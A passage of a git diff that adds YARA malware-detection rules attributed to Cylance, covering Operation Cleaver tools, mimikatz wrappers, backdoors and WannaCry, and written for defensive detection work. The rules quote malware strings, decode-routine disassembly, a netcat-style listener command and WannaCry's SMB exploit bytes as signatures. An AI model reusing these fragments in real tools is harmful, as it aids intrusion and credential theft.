+		$delphi_sec_pe = {50 45 00 00 4C 01 03 00 19 5E 42 2A}
+		$shellexec = {00 00 00 53 68 65 6C 6C 45 78 65 63 75 74 65 57 00 00 00}
+		
+	condition:
+		filesize < 100KB and $upx and $send and $delphi_sec_pe and $shellexec
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/NetC.yar b/yara-mikesxrs/cylance/NetC.yar
new file mode 100644
index 0000000..afd0dc9
--- /dev/null
+++ b/yara-mikesxrs/cylance/NetC.yar
@@ -0,0 +1,12 @@
+rule NetC
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+		$s1 = "NetC.exe" wide
+		$s2 = "Net Service"
+        
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/SType_Backdoor.yar b/yara-mikesxrs/cylance/SType_Backdoor.yar
new file mode 100644
index 0000000..cce3d5a
--- /dev/null
+++ b/yara-mikesxrs/cylance/SType_Backdoor.yar
@@ -0,0 +1,33 @@
+rule SType_Backdoor
+{
+	meta:
+		author = "Cylance SPEAR Team"
+		
+		/* Decode Function
+		8B 1A		mov     ebx, [edx]
+		8A 1B		mov     bl, [ebx]
+		80 EB 02	sub     bl, 2
+		8B 74 24 08 mov     esi, [esp+14h+var_C]
+		32 1E		xor     bl, [esi]
+		8B 31		mov     esi, [ecx]
+		88 1E		mov     [esi], bl
+		8B 1A		mov     ebx, [edx]
+		43			inc     ebx
+		89 1A		mov     [edx], ebx
+		8B 19		mov     ebx, [ecx]
+		43			inc     ebx
+		89 19		mov     [ecx], ebx
+		48			dec     eax
+		75 E2		jnz     short loc_40EAC6
+		*/
+
+	strings:
+		$stype = "stype=info&data="
+		$mmid = "?mmid="
+		$status = "&status=run succeed"
+		$mutex = "_KB10B2D1_CIlFD2C"
+		$decode = {8B 1A 8A 1B 80 EB 02 8B 74 24 08 32 1E 8B 31 88 1E 8B 1A 43}
+	
+	condition:
+		$stype or ($mmid and $status) or $mutex or $decode
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/ShellCreator2.yar b/yara-mikesxrs/cylance/ShellCreator2.yar
new file mode 100644
index 0000000..a92dc3c
--- /dev/null
+++ b/yara-mikesxrs/cylance/ShellCreator2.yar
@@ -0,0 +1,12 @@
+rule ShellCreator2
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+ 		$s1 = "ShellCreator2.Properties"
+ 		$s2 = "set_IV"
+ 		
+ 	condition:
+ 		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/SmartCopy2.yar b/yara-mikesxrs/cylance/SmartCopy2.yar
new file mode 100644
index 0000000..186f693
--- /dev/null
+++ b/yara-mikesxrs/cylance/SmartCopy2.yar
@@ -0,0 +1,12 @@
+rule SmartCopy2
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+	 $s1 = "SmartCopy2.Properties"
+	 $s2 = "ZhuFrameWork"
+	 
+	condition:
+	 all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/StreamEX.yar b/yara-mikesxrs/cylance/StreamEX.yar
new file mode 100644
index 0000000..4081854
--- /dev/null
+++ b/yara-mikesxrs/cylance/StreamEX.yar
@@ -0,0 +1,18 @@
+rule StreamEx
+{
+meta:
+      author = "Cylance"
+      description = "StreamEX shell crew"
+      reference = "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
+      
+strings:
+      $a = "0r+8DQY97XGB5iZ4Vf3KsEt61HLoTOuIqJPp2AlncRCgSxUWyebhMdmzvFjNwka="
+      $b = {34 ?? 88 04 11 48 63 C3 48 FF C1 48 3D D8 03 00 00}
+      $bb = {81 86 ?? ?? 00 10 34 ?? 88 86 ?? ?? 00 10 46 81 FE D8 03 00 00}
+      $c = "greendll"
+      $d = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" wide
+      $f = {26 5E 25 24 23 91 91 91 91}
+      $g = "D:\\pdb\\ht_d6.pdb"
+
+condition:
+      $a or $b or $bb or ($c and $d) or $f or $g
diff --git a/yara-mikesxrs/cylance/SynFlooder.yar b/yara-mikesxrs/cylance/SynFlooder.yar
new file mode 100644
index 0000000..3dd2100
--- /dev/null
+++ b/yara-mikesxrs/cylance/SynFlooder.yar
@@ -0,0 +1,13 @@
+rule SynFlooder
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+    	$s1 = "Unable to resolve [ %s ]. ErrorCode %d"
+    	$s2 = "your target's IP is : %s"
+   		$s3 = "Raw TCP Socket Created successfully."
+        
+	condition:
+    	all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/TinyZBot.yar b/yara-mikesxrs/cylance/TinyZBot.yar
new file mode 100644
index 0000000..325aa07
--- /dev/null
+++ b/yara-mikesxrs/cylance/TinyZBot.yar
@@ -0,0 +1,20 @@
+rule TinyZBot
+{
+
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+    	$s1 = "NetScp" wide
+    	$s2 = "TinyZBot.Properties.Resources.resources"
+    	$s3 = "Aoao WaterMark"
+    	$s4 = "Run_a_exe"
+    	$s5 = "netscp.exe"
+    	$s6 = "get_MainModule_WebReference_DefaultWS"
+    	$s7 = "remove_CheckFileMD5Completed"
+   		$s8 = "http://tempuri.org/"
+    	$s9 = "Zhoupin_Cleaver"
+    
+	condition:
+    	($s1 and $s2) or ($s3 and $s4 and $s5) or ($s6 and $s7 and $s8) or $s9
+    }
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/WannaCryptor.yar b/yara-mikesxrs/cylance/WannaCryptor.yar
new file mode 100644
index 0000000..8e29afe
--- /dev/null
+++ b/yara-mikesxrs/cylance/WannaCryptor.yar
@@ -0,0 +1,41 @@
+import "pe"
+
+rule WannaCry_Ransomware_Dropper
+{
+  meta:
+    description = "WannaCry Ransomware Dropper"
+    reference = "https://www.cylance.com/en_us/blog/threat-spotlight-inside-the-wannacry-attack.html"
+    date = "2017-05-12"
+
+  strings:
+    $s1 = "cmd.exe /c \"%s\"" fullword ascii
+    $s2 = "tasksche.exe" fullword ascii
+    $s3 = "icacls . /grant Everyone:F /T /C /Q" fullword ascii
+    $s4 = "Global\\MsWinZonesCacheCounterMutexA" fullword ascii
+
+  condition:
+    uint16(0) == 0x5a4d and 
+    filesize < 4MB and 
+    all of them
+}
+
+rule WannaCry_SMB_Exploit
+{
+  meta:
+    description = "WannaCry SMB Exploit"
+    reference = "https://www.cylance.com/en_us/blog/threat-spotlight-inside-the-wannacry-attack.html"
+    date = "2017-05-12"
+
+  strings:
+    $s1 = { 53 4D 42 72 00 00 00 00 18 53 C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE 00 00 40 00 00 62 00 02 50 43 20 4E 45 54 57 4F 52 4B 20 50 52 4F 47 52 41 4D 20 31 2E 30 00 02 4C 41 4E 4D 41 4E 31 2E 30 00 02 57 69 6E 64 6F 77 73 20 66 6F 72 20 57 6F 72 6B 67 72 6F 75 70 73 20 33 2E 31 61 00 02 4C 4D 31 2E 32 58 30 30 32 00 02 4C 41 4E 4D 41 4E 32 2E 31 00 02 4E 54 20 4C 4D 20 30 2E 31 32 00 00 00 00 00 00 00 88 FF 53 4D 42 73 00 00 00 00 18 07 C0 }
+
+  condition:
+    uint16(0) == 0x5a4d and
+    filesize < 4MB and 
+    all of them and
+    pe.imports("ws2_32.dll", "connect") and
+    pe.imports("ws2_32.dll", "send") and
+    pe.imports("ws2_32.dll", "recv") and
+    pe.imports("ws2_32.dll", "socket") and
+    pe.imports("ws2_32.dll", "closesocket")
+}
diff --git a/yara-mikesxrs/cylance/ZhoupinExploitCrew.yar b/yara-mikesxrs/cylance/ZhoupinExploitCrew.yar
new file mode 100644
index 0000000..0324d26
--- /dev/null
+++ b/yara-mikesxrs/cylance/ZhoupinExploitCrew.yar
@@ -0,0 +1,11 @@
+rule ZhoupinExploitCrew
+{
+  meta:
+	reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+  strings:
+    $s1 = "zhoupin exploit crew" nocase
+    $s2 = "zhopin exploit crew" nocase
+  condition:
+    1 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/Zlib_Backdoor.yar b/yara-mikesxrs/cylance/Zlib_Backdoor.yar
new file mode 100644
index 0000000..bcdeb95
--- /dev/null
+++ b/yara-mikesxrs/cylance/Zlib_Backdoor.yar
@@ -0,0 +1,43 @@
+rule Zlib_Backdoor
+{
+	meta:
+		author = "Cylance SPEAR Team"
+		
+		/* String
+		C7 45 FC 00 04 00 00    	  mov     [ebp+Memory], 400h
+		C6 45 D8 50                   mov     [ebp+Str], 'P'
+		C6 45 D9 72                   mov     [ebp+var_27], 'r'
+		C6 45 DA 6F                   mov     [ebp+var_26], 'o'
+		C6 45 DB 78                   mov     [ebp+var_25], 'x'
+		C6 45 DC 79                   mov     [ebp+var_24], 'y'
+		C6 45 DD 2D                   mov     [ebp+var_23], '-'
+		C6 45 DE 41                   mov     [ebp+var_22], 'A'
+		C6 45 DF 75                   mov     [ebp+var_21], 'u'
+		C6 45 E0 74                   mov     [ebp+var_20], 't'
+		C6 45 E1 68                   mov     [ebp+var_1F], 'h'
+		C6 45 E2 65                   mov     [ebp+var_1E], 'e'
+		C6 45 E3 6E                   mov     [ebp+var_1D], 'n'
+		C6 45 E4 74                   mov     [ebp+var_1C], 't'
+		C6 45 E5 69                   mov     [ebp+var_1B], 'i'
+		C6 45 E6 63                   mov     [ebp+var_1A], 'c'
+		C6 45 E7 61                   mov     [ebp+var_19], 'a'
+		C6 45 E8 74                   mov     [ebp+var_18], 't'
+		C6 45 E9 65                   mov     [ebp+var_17], 'e'
+		C6 45 EA 3A                   mov     [ebp+var_16], ':'
+		C6 45 EB 20                   mov     [ebp+var_15], ' '
+		C6 45 EC 4E                   mov     [ebp+var_14], 'N'
+		C6 45 ED 54                   mov     [ebp+var_13], 'T'
+		C6 45 EE 4C                   mov     [ebp+var_12], 'L'
+		C6 45 EF 4D                   mov     [ebp+var_11], 'M'
+		C6 45 F0 20                   mov     [ebp+var_10], ' '
+		*/
+
+
+	strings:
+    $auth = {C6 45 D8 50 C6 45 D9 72 C6 45 DA 6F C6 45 DB 78 C6 45 DC 79 C6 45 DD 2D}
+    $auth2 = {C7 45 FC 00 04 00 00 C6 45 ?? 50 C6 45 ?? 72 C6 45 ?? 6F}
+		$ntlm = "NTLM" wide
+	
+	condition:
+		($auth or $auth2) and $ntlm
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/antivirusdetector.yar b/yara-mikesxrs/cylance/antivirusdetector.yar
new file mode 100644
index 0000000..609fbff
--- /dev/null
+++ b/yara-mikesxrs/cylance/antivirusdetector.yar
@@ -0,0 +1,13 @@
+rule antivirusdetector
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+		$s1 = "getShadyProcess"
+		$s2 = "getSystemAntiviruses"
+		$s3 = "AntiVirusDetector"
+		
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/cylance/baijiu.yar b/yara-mikesxrs/cylance/baijiu.yar
new file mode 100644
index 0000000..8299c93
--- /dev/null
+++ b/yara-mikesxrs/cylance/baijiu.yar
@@ -0,0 +1,57 @@
+rule Lionrock_Powershell
+{
+meta:
+  author = "Cylance"
+  description = "Lionrock backdoor"
+  reference = "https://www.cylance.com/en_us/blog/baijiu.html"
+strings:
+  $http = "hffbZ]]"
+  $geo = "www\\ue}qifies\\xb]"
+condition:
+  $http or $geo
+}
+
+rule Typhoon_Downloader
+{
+meta:
+  author = "Cylance"
+  description = "Typhoon downloader"
+  reference = "https://www.cylance.com/en_us/blog/baijiu.html"
+strings:
+  $ps = "<<<:resource"
+  $exp = "start_adobeup"
+  $e = "W78D432S34A9"
+  $f = "!SJ1B0RSWRKK"
+  $b = "wyy}EBB"
+  $geo = "hhhCjzbnvyvzlCg}B"
+condition:
+  $ps or $exp or ($e and $f) or $b or $geo
+}
+
+rule Lionrock_Loader
+{
+meta:
+  author = "Cylance"
+  description = "Lionrock Loader"
+  reference = "https://www.cylance.com/en_us/blog/baijiu.html"
+strings:
+  $a = "sfarfdk|amiqd|s"
+  $b = "s1-s{wlsz,s"
+  $c = "q}llyer|eldll"
+condition:
+  ($a and $b) or $c
+}
+
+rule Lionrock_Backdoor
+{
+meta:
+  author = "Cylance"
+  description = "Lionrock Backdoor"
+  reference = "https://www.cylance.com/en_us/blog/baijiu.html"
+strings:
+  $a = "windows\\currentversion\\run;reglist"
+  $power = "b}wershell\\eje@M|}br}tile@)|v}yeM1}mma|d@Msqribfpl}qy{DbafhOUEsU[DdafaO5efM1}|fe|f@Dbafh[t}reaqhHDqmd@i|@DdafaI{iej@Dqmd[oo"              $b = "agf}ejeqdir"
+  $c = "sfarfdk|amiqd|s"
+condition:
+  $power or $b or ($a and $c)
+}
diff --git a/yara-mikesxrs/cylance/csext.yar b/yara-mikesxrs/cylance/csext.yar
new file mode 100644
index 0000000..85a301a
--- /dev/null
+++ b/yara-mikesxrs/cylance/csext.yar
@@ -0,0 +1,12 @@
+rule csext
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+ 	strings:
+ 		$s1 = "COM+ System Extentions"
+ 		$s2 = "csext.exe"
+ 		$s3 = "COM_Extentions_bin"
+ 	condition:
+ 		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/cylance_index.yara b/yara-mikesxrs/cylance/cylance_index.yara
new file mode 100644
index 0000000..48f18ee
--- /dev/null
+++ b/yara-mikesxrs/cylance/cylance_index.yara
@@ -0,0 +1,392 @@
+rule antivirusdetector
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+		$s1 = "getShadyProcess"
+		$s2 = "getSystemAntiviruses"
+		$s3 = "AntiVirusDetector"
+		
+	condition:
+		all of them
+}
+
+rule BackDoorLogger
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		
+ 	strings:
+ 		$s1 = "BackDoorLogger"
+ 		$s2 = "zhuAddress"
+
+ 	condition:
+ 		all of them
+}
+
+rule csext
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+ 	strings:
+ 		$s1 = "COM+ System Extentions"
+ 		$s2 = "csext.exe"
+ 		$s3 = "COM_Extentions_bin"
+ 	condition:
+ 		all of them
+}
+
+rule Misdat_Backdoor_Packed
+{
+	meta:
+		author = "Cylance SPEAR Team"
+		note = "Probably Prone to False Positive"
+
+	strings:
+		$upx = {33 2E 30 33 00 55 50 58 21}
+		$send = {00 00 00 73 65 6E 64 00 00 00}
+		$delphi_sec_pe = {50 45 00 00 4C 01 03 00 19 5E 42 2A}
+		$shellexec = {00 00 00 53 68 65 6C 6C 45 78 65 63 75 74 65 57 00 00 00}
+		
+	condition:
+		filesize < 100KB and $upx and $send and $delphi_sec_pe and $shellexec
+}
+
+rule MiSType_Backdoor_Packed
+{
+	meta:
+		author = "Cylance SPEAR Team"
+		note = "Probably Prone to False Positive"
+
+	strings:
+		$upx = {33 2E 30 33 00 55 50 58 21}
+		$send_httpquery = {00 00 00 48 74 74 70 51 75 65 72 79 49 6E 66 6F 41 00 00 73 65 6E 64 00 00}
+		$delphi_sec_pe = {50 45 00 00 4C 01 03 00 19 5E 42 2A}
+	
+	condition:
+		filesize < 100KB and $upx and $send_httpquery and $delphi_sec_pe
+}
+
+rule Misdat_Backdoor
+{
+	meta:
+		author = "Cylance SPEAR Team"
+		/* Decode Function
+		CODE:00406C71 8B 55 F4					mov     edx, [ebp+var_C]
+		CODE:00406C74 8A 54 1A FF				mov     dl, [edx+ebx-1]
+		CODE:00406C78 8B 4D F8					mov     ecx, [ebp+var_8]
+		CODE:00406C7B C1 E9 08 					shr     ecx, 8
+		CODE:00406C7E 32 D1						xor     dl, cl
+		CODE:00406C80 88 54 18 FF				mov     [eax+ebx-1], dl
+		CODE:00406C84 8B 45 F4					mov     eax, [ebp+var_C]
+		CODE:00406C87 0F B6 44 18 FF			movzx   eax, byte ptr [eax+ebx-1]
+		CODE:00406C8C 03 45 F8					add     eax, [ebp+var_8]
+		CODE:00406C8F 69 C0 D9 DB 00 00  		imul    eax, 0DBD9h
+		CODE:00406C95 05 3B DA 00 00 			add     eax, 0DA3Bh
+		CODE:00406C9A 89 45 F8 					mov     [ebp+var_8], eax
+		CODE:00406C9D 43 						inc     ebx
+		CODE:00406C9E 4E 						dec     esi
+		CODE:00406C9F 75 C9 					jnz     short loc_406C6A
+		*/
+	strings:
+		$imul = {03 45 F8 69 C0 D9 DB 00 00 05 3B DA 00 00}
+		$delphi = {50 45 00 00 4C 01 08 00 19 5E 42 2A}
+		
+	condition:
+		$imul and $delphi
+}
+
+rule SType_Backdoor
+{
+	meta:
+		author = "Cylance SPEAR Team"
+		
+		/* Decode Function
+		8B 1A		mov     ebx, [edx]
+		8A 1B		mov     bl, [ebx]
+		80 EB 02	sub     bl, 2
+		8B 74 24 08 mov     esi, [esp+14h+var_C]
+		32 1E		xor     bl, [esi]
+		8B 31		mov     esi, [ecx]
+		88 1E		mov     [esi], bl
+		8B 1A		mov     ebx, [edx]
+		43			inc     ebx
+		89 1A		mov     [edx], ebx
+		8B 19		mov     ebx, [ecx]
+		43			inc     ebx
+		89 19		mov     [ecx], ebx
+		48			dec     eax
+		75 E2		jnz     short loc_40EAC6
+		*/
+
+	strings:
+		$stype = "stype=info&data="
+		$mmid = "?mmid="
+		$status = "&status=run succeed"
+		$mutex = "_KB10B2D1_CIlFD2C"
+		$decode = {8B 1A 8A 1B 80 EB 02 8B 74 24 08 32 1E 8B 31 88 1E 8B 1A 43}
+	
+	condition:
+		$stype or ($mmid and $status) or $mutex or $decode
+}
+
+rule Zlib_Backdoor
+{
+	meta:
+		author = "Cylance SPEAR Team"
+		
+		/* String
+		C7 45 FC 00 04 00 00    	  mov     [ebp+Memory], 400h
+		C6 45 D8 50                   mov     [ebp+Str], 'P'
+		C6 45 D9 72                   mov     [ebp+var_27], 'r'
+		C6 45 DA 6F                   mov     [ebp+var_26], 'o'
+		C6 45 DB 78                   mov     [ebp+var_25], 'x'
+		C6 45 DC 79                   mov     [ebp+var_24], 'y'
+		C6 45 DD 2D                   mov     [ebp+var_23], '-'
+		C6 45 DE 41                   mov     [ebp+var_22], 'A'
+		C6 45 DF 75                   mov     [ebp+var_21], 'u'
+		C6 45 E0 74                   mov     [ebp+var_20], 't'
+		C6 45 E1 68                   mov     [ebp+var_1F], 'h'
+		C6 45 E2 65                   mov     [ebp+var_1E], 'e'
+		C6 45 E3 6E                   mov     [ebp+var_1D], 'n'
+		C6 45 E4 74                   mov     [ebp+var_1C], 't'
+		C6 45 E5 69                   mov     [ebp+var_1B], 'i'
+		C6 45 E6 63                   mov     [ebp+var_1A], 'c'
+		C6 45 E7 61                   mov     [ebp+var_19], 'a'
+		C6 45 E8 74                   mov     [ebp+var_18], 't'
+		C6 45 E9 65                   mov     [ebp+var_17], 'e'
+		C6 45 EA 3A                   mov     [ebp+var_16], ':'
+		C6 45 EB 20                   mov     [ebp+var_15], ' '
+		C6 45 EC 4E                   mov     [ebp+var_14], 'N'
+		C6 45 ED 54                   mov     [ebp+var_13], 'T'
+		C6 45 EE 4C                   mov     [ebp+var_12], 'L'
+		C6 45 EF 4D                   mov     [ebp+var_11], 'M'
+		C6 45 F0 20                   mov     [ebp+var_10], ' '
+		*/
+
+
+	strings:
+    $auth = {C6 45 D8 50 C6 45 D9 72 C6 45 DA 6F C6 45 DB 78 C6 45 DC 79 C6 45 DD 2D}
+    $auth2 = {C7 45 FC 00 04 00 00 C6 45 ?? 50 C6 45 ?? 72 C6 45 ?? 6F}
+		$ntlm = "NTLM" wide
+	
+	condition:
+		($auth or $auth2) and $ntlm
+}
+
+rule Jasus
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+ 	strings:
+ 		$s1 = "pcap_dump_open"
+ 		$s2 = "Resolving IPs to poison..."
+ 		$s3 = "WARNNING: Gateway IP can not be found"
+ 		
+ 	condition:
+ 		all of them
+}
+
+rule kagent
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+ 	strings:
+ 		$s1 = "kill command is in last machine, going back"
+ 		$s2 = "message data length in B64: %d Bytes"
+ 		
+ 	condition:
+ 		all of them
+}
+
+rule LoggerModule
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+		$s1 = "%s-%02d%02d%02d%02d%02d.r"
+		$s2 = "C:\\Users\\%s\\AppData\\Cookies\\"
+
+ 	condition:
+ 		all of them
+}
+
+rule mimikatzWrapper
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+ 	strings:
+ 		$s1 = "mimikatzWrapper"
+ 		$s2 = "get_mimikatz"
+ 		
+ 	condition:
+ 		all of them
+}
+
+rule NetC
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+		$s1 = "NetC.exe" wide
+		$s2 = "Net Service"
+        
+	condition:
+		all of them
+}
+
+rule pvz_in
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+ 	strings:
+ 		$s1 = "LAST_TIME=00/00/0000:00:00PM$"
+ 		$s2 = "if %%ERRORLEVEL%% == 1 GOTO line"
+ 		
+ 	condition:
+ 		all of them
+}
+
+rule pvz_out
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+		$s1 = "Network Connectivity Module" wide
+    	$s2 = "OSPPSVC" wide
+
+	condition:
+		all of them
+}
+
+rule ShellCreator2
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+ 		$s1 = "ShellCreator2.Properties"
+ 		$s2 = "set_IV"
+ 		
+ 	condition:
+ 		all of them
+}
+
+rule SmartCopy2
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+	 $s1 = "SmartCopy2.Properties"
+	 $s2 = "ZhuFrameWork"
+	 
+	condition:
+	 all of them
+}
+
+rule SynFlooder
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+    	$s1 = "Unable to resolve [ %s ]. ErrorCode %d"
+    	$s2 = "your target's IP is : %s"
+   		$s3 = "Raw TCP Socket Created successfully."
+        
+	condition:
+    	all of them
+}
+
+rule TinyZBot
+{
+
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+    	$s1 = "NetScp" wide
+    	$s2 = "TinyZBot.Properties.Resources.resources"
+    	$s3 = "Aoao WaterMark"
+    	$s4 = "Run_a_exe"
+    	$s5 = "netscp.exe"
+    	$s6 = "get_MainModule_WebReference_DefaultWS"
+    	$s7 = "remove_CheckFileMD5Completed"
+   		$s8 = "http://tempuri.org/"
+    	$s9 = "Zhoupin_Cleaver"
+    
+	condition:
+    	($s1 and $s2) or ($s3 and $s4 and $s5) or ($s6 and $s7 and $s8) or $s9
+    }
+    
+
+rule wndTest
+{
+  meta:
+	reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+  strings:
+    $s1 = "[Alt]" wide
+    $s2 = "<< %s >>:" wide
+    $s3 = "Content-Disposition: inline; comp=%s; account=%s; product=%d;"
+  condition:
+    all of them
+}
+
+rule zhCat
+{
+   meta:
+	reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+  strings:
+    $s1 = "zhCat -l -h -tp 1234"
+    $s2 = "ABC ( A Big Company )" wide
+  condition:
+    all of them
+}
+
+rule zhLookUp
+{
+  meta:
+	reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+  strings:
+    $s1 = "zhLookUp.Properties"
+    
+  condition:
+    all of them
+}
+
+rule zhmimikatz
+{
+  meta:
+	reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+  strings:
+    $s1 = "MimikatzRunner"
+    $s2 = "zhmimikatz"
+  condition:
+    all of them
+}
+
+rule ZhoupinExploitCrew
+{
+  meta:
+	reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+  strings:
+    $s1 = "zhoupin exploit crew" nocase
+    $s2 = "zhopin exploit crew" nocase
+  condition:
+    1 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/kagent.yar b/yara-mikesxrs/cylance/kagent.yar
new file mode 100644
index 0000000..d93db71
--- /dev/null
+++ b/yara-mikesxrs/cylance/kagent.yar
@@ -0,0 +1,12 @@
+rule kagent
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+ 	strings:
+ 		$s1 = "kill command is in last machine, going back"
+ 		$s2 = "message data length in B64: %d Bytes"
+ 		
+ 	condition:
+ 		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/mimikatzWrapper.yar b/yara-mikesxrs/cylance/mimikatzWrapper.yar
new file mode 100644
index 0000000..ea145ba
--- /dev/null
+++ b/yara-mikesxrs/cylance/mimikatzWrapper.yar
@@ -0,0 +1,12 @@
+rule mimikatzWrapper
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+ 	strings:
+ 		$s1 = "mimikatzWrapper"
+ 		$s2 = "get_mimikatz"
+ 		
+ 	condition:
+ 		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/pvz_in.yar b/yara-mikesxrs/cylance/pvz_in.yar
new file mode 100644
index 0000000..076100e
--- /dev/null
+++ b/yara-mikesxrs/cylance/pvz_in.yar
@@ -0,0 +1,12 @@
+rule pvz_in
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+ 	strings:
+ 		$s1 = "LAST_TIME=00/00/0000:00:00PM$"
+ 		$s2 = "if %%ERRORLEVEL%% == 1 GOTO line"
+ 		
+ 	condition:
+ 		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/pvz_out.yar b/yara-mikesxrs/cylance/pvz_out.yar
new file mode 100644
index 0000000..d7b87b4
--- /dev/null
+++ b/yara-mikesxrs/cylance/pvz_out.yar
@@ -0,0 +1,12 @@
+rule pvz_out
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+		$s1 = "Network Connectivity Module" wide
+    	$s2 = "OSPPSVC" wide
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/snakewine.yar b/yara-mikesxrs/cylance/snakewine.yar
new file mode 100644
index 0000000..dc4a04f
--- /dev/null
+++ b/yara-mikesxrs/cylance/snakewine.yar
@@ -0,0 +1,24 @@
+rule Ham_backdoor
+{
+meta:
+  author = "Cylance Spear Team"
+  reference = "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html"
+strings:
+  $a = {8D 14 3E 8B 7D FC 8A 0C 11 32 0C 38 40 8B 7D 10 88 0A 8B 4D 08 3B C3}
+  $b = {8D 0C 1F 8B 5D F8 8A 04 08 32 04 1E 46 8B 5D 10 88 01 8B 45 08 3B F2}
+condition:
+  $a or $b
+}
+
+rule Tofu_Backdoor
+{
+meta:
+  author = "Cylance Spear Team"
+  reference = "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html"
+strings:
+	$a = "Cookies: Sym1.0"
+	$b = "\\\\.\\pipe\\1[12345678]"
+	$c = {66 0F FC C1 0F 11 40 D0 0F 10 40 D0 66 0F EF C2 0F 11 40 D0 0F 10 40 E0}
+condition:
+	$a or $b or $c
+}
diff --git a/yara-mikesxrs/cylance/wndTest.yar b/yara-mikesxrs/cylance/wndTest.yar
new file mode 100644
index 0000000..f6a7e79
